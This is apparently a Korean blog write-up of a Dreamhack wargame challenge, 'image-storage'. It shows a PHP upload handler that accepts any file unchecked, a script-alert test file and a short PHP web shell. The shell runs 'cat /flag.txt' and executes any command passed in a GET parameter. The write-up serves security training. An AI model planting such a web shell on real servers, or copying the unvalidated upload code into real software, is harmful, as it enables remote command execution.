본문 바로가기

드림핵

[드림핵 워게임] image-storage

위의 문제를 다음과 같은 과정으로  풀어보았다.

 

1. 페이지를 확인한다.

문제의 사이트에 들어가보면  위와 같이 메뉴바에 3개의 페이지가 있는 것을 확인할 수 있다.

 

문제에서 다운로드한 파일들을 확인해보면 마찬가지로 3개의 파일이 각각의 페이지를 구성하고 있는 것을 볼 수 있다.

각각 index.php 페이지는 Home페이지를, list.php는 List 페이지를, upload.php는 Upload 페이지를 작성한 코드이다.

3개의 파일 중 upload.php가 문제를 푸는 데 가장 중요한 파일인 것을 짐작할 수 있다.

 

 

 

2. upload.php 코드를  살펴본다.

upload.php에서 php코드 부분에 해당하는 1~26행을 살펴본다.

<?php
  if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset($_FILES)) {
      $directory = './uploads/';
      $file = $_FILES["file"];
      $error = $file["error"];
      $name = $file["name"];
      $tmp_name = $file["tmp_name"];
     
      if ( $error > 0 ) {
        echo "Error: " . $error . "<br>";
      }else {
        if (file_exists($directory . $name)) {
          echo $name . " already exists. ";
        }else {
          if(move_uploaded_file($tmp_name, $directory . $name)){
            echo "Stored in: " . $directory . $name;
          }
        }
      }
    }else {
        echo "Error !";
    }
    die();
  }
?>

업로드할 파일을 POST 요청으로 받아 같은 이름의 파일이 이미 디렉토리에 있으면 "already. exists."라는 문구를 보여주고 없으면 파일을 업로드하는 것을 확인할 수 있다. 업로드할 파일에 대해 검증하는 부분이 없으므로  서버에서 실행되는 동적리소스 파일(php, jsp 등)을 업로드하면 파일 업로드 취약점을 이용해 flag를 탈취할 수 있을 것 같다.

 

 

 

3. 파일을 업로드하여 실행해본다.

우선 일반 txt 파일을 업로드해보았다.

"test" 라는 내용이 들어있는 test.txt 파일을 만들었다.

 

 

그리고 test.txt 파일을 업로드하였다. Upload를 클릭하면 해당 파일이 업로드되었다는 문구가 뜬다.

 

 

List 페이지로  들어가보면 업로드한 파일이 뜬다. 파일을 클릭해보면 파일 내용인 "test"가  보여진다.

 

 

이번에는 동적 리소스 파일이 작동하는지 알아보기 위해 test.html파일을 만들어보았다.

test.html의 내용은 아래와 같다.

<script>alert("hello");</script>

 

"<script>alert("hello");</script>"이라는  내용이 그대로 보여지는 것이 아니라 alert창이 뜨는 것을 보니 동적 리소스 파일을 서버에서 그대로 실행한다는 것을 알 수 있다.

 

 

 

4. 익스플로잇 코드를 작성하여 플래그를 획득한다.

익스플로잇 코드는 아래와 같은 내용으로 php를 이용해 작성해보았다.

<?php
  system("cat /flag.txt");
  system($_GET[x]);
?>

system에서 /flag.txt를 간단하게 불러와 보여주는 코드이다. 작성한 php파일을 업로드하여 List에서 업로드한 파일을 열어보면 flag를 확인할 수 있다.

 

 

 

'드림핵' 카테고리의 다른 글

[드림핵 워게임] web-ssrf  (0) 2022.11.06
[드림핵 워게임] file-download-1  (0) 2022.11.02
[드림핵 워게임] Mango (조건 추가)  (1) 2022.10.08
[드림핵 워게임] Carve Party  (1) 2022.10.08
[드림핵 워게임] pathtraversal  (1) 2022.10.08